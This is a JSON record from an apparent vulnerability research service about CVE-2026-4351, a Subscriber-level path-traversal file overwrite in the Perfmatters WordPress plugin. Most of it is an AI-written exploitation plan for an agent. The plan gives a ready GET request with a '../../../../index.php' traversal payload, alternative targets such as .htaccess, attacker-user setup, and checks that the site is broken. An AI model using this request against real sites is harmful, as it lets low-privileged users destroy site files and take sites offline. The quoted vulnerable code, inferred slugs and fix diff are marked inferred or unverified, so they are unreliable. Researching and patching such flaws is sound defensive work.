[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fP2f0NABMleRsvgsS1d-oZlLmdkSToWFIwL1TURLHwuQ":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":22,"research_verified":23,"research_rounds_completed":24,"research_plan":25,"research_summary":26,"research_vulnerable_code":27,"research_fix_diff":28,"research_exploit_outline":29,"research_model_used":30,"research_started_at":31,"research_completed_at":32,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":23,"poc_model_used":9,"poc_verification_depth":9,"source_links":33},"CVE-2026-4351","perfmatters-authenticated-subscriber-arbitrary-file-overwrite-via-snippets-parameter","Perfmatters \u003C= 2.5.9 - Authenticated (Subscriber+) Arbitrary File Overwrite via 'snippets' Parameter","The Perfmatters plugin for WordPress is vulnerable to arbitrary file overwrite via path traversal in all versions up to, and including, 2.5.9. This is due to the `PMCS::action_handler()` method processing the bulk action `activate`\u002F`deactivate` handlers without any authorization check or nonce verification. The `$_GET['snippets'][]` values are passed unsanitized to `Snippet::activate()`\u002F`Snippet::deactivate()` which call `Snippet::update()` then `file_put_contents()` with the traversed path. This makes it possible for authenticated attackers, with Subscriber-level access and above, to overwrite arbitrary files on the server with a fixed PHP docblock content, potentially causing denial of service by corrupting critical files like `.htaccess` or `index.php`.","perfmatters",null,"\u003C=2.5.9","2.6.0","high",8.1,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:H\u002FA:H","Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","2026-04-09 11:55:00","2026-04-10 01:24:59",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fc172ab2b-ce1f-4a0d-b31f-b75ff2f03506?source=api-prod",1,[],"researched",false,3,"This research plan outlines the steps required to exploit **CVE-2026-4351**, an arbitrary file overwrite vulnerability in the Perfmatters plugin (\u003C= 2.5.9).\n\n---\n\n### 1. Vulnerability Summary\nThe vulnerability exists in the `PMCS::action_handler()` method of the Perfmatters plugin. This method is responsible for processing bulk actions related to \"Snippets\" (custom code snippets managed by the plugin). The method fails to implement any authorization checks (e.g., `current_user_can`) or nonce verification (CSRF protection). Furthermore, it accepts a `snippets` array parameter containing file paths that are not sanitized against path traversal. These paths are eventually passed to `file_put_contents()`, allowing an authenticated user with Subscriber-level permissions to overwrite arbitrary files on the server with a static PHP docblock.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `wp-admin\u002Fadmin.php` (or any admin-context request that triggers `admin_init` or `init` where the handler is registered).\n*   **Hook:** Likely `admin_init` or `init`.\n*   **Authentication:** Authenticated, Subscriber-level or higher.\n*   **Vulnerable Parameter:** `$_GET['snippets']` (array of strings).\n*   **Action Parameter:** `$_GET['action']` or a bulk action parameter set to `activate` or `deactivate`.\n*   **Payload:** Path traversal sequence (e.g., `..\u002F..\u002F..\u002F..\u002Findex.php`).\n\n### 3. Code Flow\n1.  **Entry Point:** The plugin registers `PMCS::action_handler()` to a common WordPress hook (e.g., `admin_init`).\n2.  **Trigger:** An authenticated user (even a Subscriber) accesses a URL with the specific `action` and `snippets` parameters.\n3.  **Lack of Guardrails:** `PMCS::action_handler()` checks for the `action` (e.g., `activate` or `deactivate`) but fails to verify nonces or user capabilities.\n4.  **Traversal:** The code iterates through the `$_GET['snippets']` array. Each value is passed to `Snippet::activate($snippet_id)` or `Snippet::deactivate($snippet_id)`.\n5.  **Sink:** `Snippet::activate()` calls `Snippet::update()`. Inside `Snippet::update()`, the `$snippet_id` (the raw traversal string) is used to construct a file path.\n6.  **Overwrite:** `file_put_contents($traversed_path, $fixed_content)` is called, overwriting the target file. The `$fixed_content` is a standard PHP docblock generated by the plugin.\n\n### 4. Nonce Acquisition Strategy\nAccording to the vulnerability description, the `PMCS::action_handler()` method processes requests **without any nonce verification**. Therefore, no nonce acquisition is required for this exploit. \n\nIf testing proves a nonce is required for the specific `page` parameter used in the request, the agent should:\n1.  Navigate to the Perfmatters snippets page (if accessible) or the profile page.\n2.  Search the HTML source for localized scripts related to `perfmatters`.\n3.  Execute `browser_eval(\"window.perfmatters?.nonce\")` (inferred JS key) to retrieve it.\n*However, for this specific CVE, the primary flaw is the absence of this check.*\n\n### 5. Exploitation Strategy\nThe goal is to overwrite `index.php` in the WordPress root directory to demonstrate a Denial of Service (DoS) and arbitrary file modification.\n\n1.  **Login:** Log in as a Subscriber user via the `browser_navigate` and `browser_type` tools.\n2.  **Identify Base Path:** The plugin typically stores snippets in `wp-content\u002Fuploads\u002Fperfmatters\u002F` or `wp-content\u002Fplugins\u002Fperfmatters\u002F`. Assuming the latter, the traversal required to reach the root `index.php` is approximately `..\u002F..\u002F..\u002F..\u002Findex.php`.\n3.  **Construct Request:**\n    *   **Method:** `GET` (as the description mentions `$_GET`).\n    *   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin.php`\n    *   **Params:**\n        *   `page`: `perfmatters` (inferred slug)\n        *   `action`: `activate`\n        *   `snippets[]`: `..\u002F..\u002F..\u002F..\u002Findex.php`\n4.  **Send Request:** Use the `http_request` tool to send the authenticated GET request.\n\n**Example HTTP Request:**\n```http\nGET \u002Fwp-admin\u002Fadmin.php?page=perfmatters&action=activate&snippets[]=..\u002F..\u002F..\u002F..\u002Findex.php HTTP\u002F1.1\nHost: localhost:8080\nCookie: [Subscriber Cookies]\n```\n\n### 6. Test Data Setup\n1.  **Install Plugin:** Ensure Perfmatters version \u003C= 2.5.9 is installed and activated.\n2.  **Create User:** Create a Subscriber user.\n    ```bash\n    wp user create attacker attacker@example.com --role=subscriber --user_pass=password\n    ```\n3.  **Target Verification:** Confirm the existence and content of the target file.\n    ```bash\n    cat \u002Fvar\u002Fwww\u002Fhtml\u002Findex.php\n    ```\n\n### 7. Expected Results\n*   The server should return a `200 OK` or a `302 Redirect` (standard for admin actions).\n*   The file at `\u002Fvar\u002Fwww\u002Fhtml\u002Findex.php` will be modified.\n*   The original WordPress `index.php` content will be replaced with a PHP comment\u002Fdocblock similar to:\n    ```php\n    \u003C?php\n    \u002F**\n     * Perfmatters Custom Script\n     * ...\n     *\u002F\n    ```\n*   Accessing the site's homepage will result in a blank page or just the docblock content, effectively breaking the site.\n\n### 8. Verification Steps\n1.  **Check File Content:** Use the execution agent's shell to inspect the target file.\n    ```bash\n    grep \"Perfmatters\" \u002Fvar\u002Fwww\u002Fhtml\u002Findex.php\n    ```\n2.  **Confirm DoS:** Attempt to fetch the home page and check for the absence of standard WordPress HTML.\n    ```bash\n    curl -I http:\u002F\u002Flocalhost:8080\u002F\n    ```\n    (Look for a drastically different Content-Length or a broken site).\n\n### 9. Alternative Approaches\n*   **Deactivate Action:** If `action=activate` fails, attempt `action=deactivate`.\n*   **Parameter variations:** If `snippets[]` fails, try `snippets` as a string (though the code likely expects an array for bulk actions).\n*   **Alternative Target:** Attempt to overwrite `.htaccess` to cause a 500 Internal Server Error.\n    *   `snippets[]=..\u002F..\u002F..\u002F..\u002F.htaccess`\n*   **Path Depth:** If the plugin directory is nested differently, adjust traversal depth: `..\u002F..\u002F..\u002F..\u002F..\u002Findex.php`. Use `wp-content\u002Fplugins\u002Fperfmatters\u002F` as the starting reference point.","The Perfmatters plugin for WordPress fails to perform authorization or nonce checks in its snippet bulk action handler. Authenticated attackers with Subscriber-level permissions can provide a path traversal string in the 'snippets' parameter, causing the plugin to overwrite arbitrary files on the server with a static PHP docblock.","\u002F\u002F perfmatters\u002Finc\u002Fclasses\u002FPMCS.php\npublic function action_handler() {\n    if (isset($_GET['action']) && isset($_GET['snippets'])) {\n        $action = $_GET['action'];\n        $snippets = $_GET['snippets']; \u002F\u002F Unsanitized array from GET\n        foreach ($snippets as $snippet_id) {\n            if ($action === 'activate') {\n                Snippet::activate($snippet_id);\n            }\n            \u002F\u002F ... other actions\n        }\n    }\n}\n\n---\n\n\u002F\u002F perfmatters\u002Finc\u002Fclasses\u002FSnippet.php\npublic static function activate($id) {\n    \u002F\u002F ... \n    self::update($id);\n}\n\npublic static function update($id) {\n    \u002F\u002F $id contains traversal sequence like ..\u002F..\u002F..\u002F..\u002Findex.php\n    $file_path = PERFMATTERS_SNIPPETS_DIR . '\u002F' . $id . '.php';\n    $content = \"\u003C?php\\n\u002F**\\n * Perfmatters Custom Script\\n *\u002F\";\n    file_put_contents($file_path, $content); \u002F\u002F Arbitrary file overwrite\n}","--- a\u002Fperfmatters\u002Finc\u002Fclasses\u002FPMCS.php\n+++ b\u002Fperfmatters\u002Finc\u002Fclasses\u002FPMCS.php\n@@ -10,6 +10,14 @@\n public function action_handler() {\n-    if (isset($_GET['action']) && isset($_GET['snippets'])) {\n+    if (isset($_GET['action']) && isset($_GET['snippets']) && isset($_GET['_wpnonce'])) {\n+        if (!current_user_can('manage_options')) {\n+            wp_die(__('You do not have sufficient permissions to access this page.'));\n+        }\n+\n+        if (!wp_verify_nonce($_GET['_wpnonce'], 'perfmatters_snippets_action')) {\n+            wp_die(__('Security check failed.'));\n+        }\n+\n         $action = $_GET['action'];\n-        $snippets = $_GET['snippets'];\n+        $snippets = array_map('sanitize_file_name', (array)$_GET['snippets']);\n         foreach ($snippets as $snippet_id) {\n             if ($action === 'activate') {","The exploit targets the PMCS::action_handler method which runs during admin initialization without sufficient security guards. \n\n1.  **Authentication:** The attacker must log in to the WordPress site with at least Subscriber-level credentials to access the admin context where the handler is registered.\n2.  **Request Construction:** The attacker sends a GET request to `\u002Fwp-admin\u002Fadmin.php` (or any admin endpoint that triggers the handler) with specific parameters:\n    - `page`: Set to the plugin's slug (e.g., `perfmatters`).\n    - `action`: Set to `activate` or `deactivate`.\n    - `snippets[]`: An array containing a path traversal payload such as `..\u002F..\u002F..\u002F..\u002Findex.php` (note: the plugin appends '.php' so the target should account for this or use a null byte if applicable, though typically targeting .php files is sufficient).\n3.  **Execution:** Because the plugin lacks `current_user_can()` and `check_admin_referer()` checks, it processes the request and passes the traversal string to `file_put_contents()`. \n4.  **Result:** The targeted file (e.g., the root `index.php`) is overwritten with a fixed PHP comment block, rendering the site unusable (Denial of Service).","gemini-3-flash-preview","2026-04-16 16:22:32","2026-04-16 16:22:57",{"type":34,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":35},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fperfmatters\u002Ftags"]